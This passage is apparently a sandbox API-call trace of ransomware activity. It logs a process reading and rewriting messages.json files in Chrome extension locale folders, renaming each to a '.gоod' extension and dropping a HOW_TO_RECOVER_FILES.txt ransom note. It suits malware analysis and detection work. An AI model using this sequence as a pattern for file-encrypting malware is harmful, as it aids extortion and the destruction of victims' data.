ftCreationTime.dwLowDateTime=0xe8573b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x16a)) returned 1 [0251.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0251.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", lpFilePart=0x0) returned 0x89 [0251.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0251.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.412] GetFileType (hFile=0x808) returned 0x1 [0251.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0251.412] GetFileType (hFile=0x808) returned 0x1 [0251.412] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x16a [0251.412] ReadFile (in: hFile=0x808, lpBuffer=0x39df790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x39df790*, lpNumberOfBytesRead=0x209ebc98*=0x16a, lpOverlapped=0x0) returned 1 [0251.413] CloseHandle (hObject=0x808) returned 1 [0251.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", lpFilePart=0x0) returned 0x89 [0251.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0251.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.441] GetFileType (hFile=0x808) returned 0x1 [0251.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0251.441] GetFileType (hFile=0x808) returned 0x1 [0251.441] WriteFile (in: hFile=0x808, lpBuffer=0x3a57360*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3a57360*, lpNumberOfBytesWritten=0x209ebba8*=0x170, lpOverlapped=0x0) returned 1 [0251.441] CloseHandle (hObject=0x808) returned 1 [0251.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", lpFilePart=0x0) returned 0x89 [0251.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0251.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0251.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8573b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9214d3c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x170)) returned 1 [0251.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0251.442] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.gоod")) returned 1 [0251.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0251.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0251.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0251.444] GetFileType (hFile=0x808) returned 0x1 [0251.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0251.444] GetFileType (hFile=0x808) returned 0x1 [0251.444] WriteFile (in: hFile=0x808, lpBuffer=0x3a5ac98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a5ac98*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0251.445] CloseHandle (hObject=0x808) returned 1 [0253.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0253.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja", lpFilePart=0x0) returned 0x7b [0253.617] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe857b070, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fe95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe857fe95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0253.617] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe857b070, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fe95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe857fe95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.617] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe857fe95, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fdc2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0253.617] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0253.618] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0253.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0253.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0253.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0253.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja", lpFilePart=0x0) returned 0x7b [0253.618] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe857b070, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fe95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe857fe95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0253.618] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe857b070, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fe95, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe857fe95, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.618] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe857fe95, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fdc2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0253.618] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe857fe95, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fdc2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0253.619] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0253.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0253.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0253.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0253.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0253.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3a184f8 | out: lpFileInformation=0x3a184f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe857fe95, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fdc2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfb)) returned 1 [0253.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0253.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0253.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0253.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.619] GetFileType (hFile=0x808) returned 0x1 [0253.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0253.619] GetFileType (hFile=0x808) returned 0x1 [0253.619] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xfb [0253.619] ReadFile (in: hFile=0x808, lpBuffer=0x3a189b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3a189b0*, lpNumberOfBytesRead=0x209ebc98*=0xfb, lpOverlapped=0x0) returned 1 [0253.620] CloseHandle (hObject=0x808) returned 1 [0253.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0253.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0253.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.647] GetFileType (hFile=0x808) returned 0x1 [0253.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0253.647] GetFileType (hFile=0x808) returned 0x1 [0253.647] WriteFile (in: hFile=0x808, lpBuffer=0x3a90400*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3a90400*, lpNumberOfBytesWritten=0x209ebba8*=0x100, lpOverlapped=0x0) returned 1 [0253.647] CloseHandle (hObject=0x808) returned 1 [0253.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0253.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0253.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0253.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe857fe95, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe857fdc2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x93650076, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0253.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0253.648] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.gоod")) returned 1 [0253.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0253.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0253.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0253.871] GetFileType (hFile=0x808) returned 0x1 [0253.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0253.871] GetFileType (hFile=0x808) returned 0x1 [0253.872] WriteFile (in: hFile=0x808, lpBuffer=0x3af9ce0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3af9ce0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0253.872] CloseHandle (hObject=0x808) returned 1 [0253.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0253.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka", lpFilePart=0x0) returned 0x7b [0253.873] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85873c7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e8f6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe858e8f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0253.873] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85873c7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e8f6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe858e8f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe858e8f6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e822, ftLastAccessTime.dwHighDateTime=0x1d327cb, 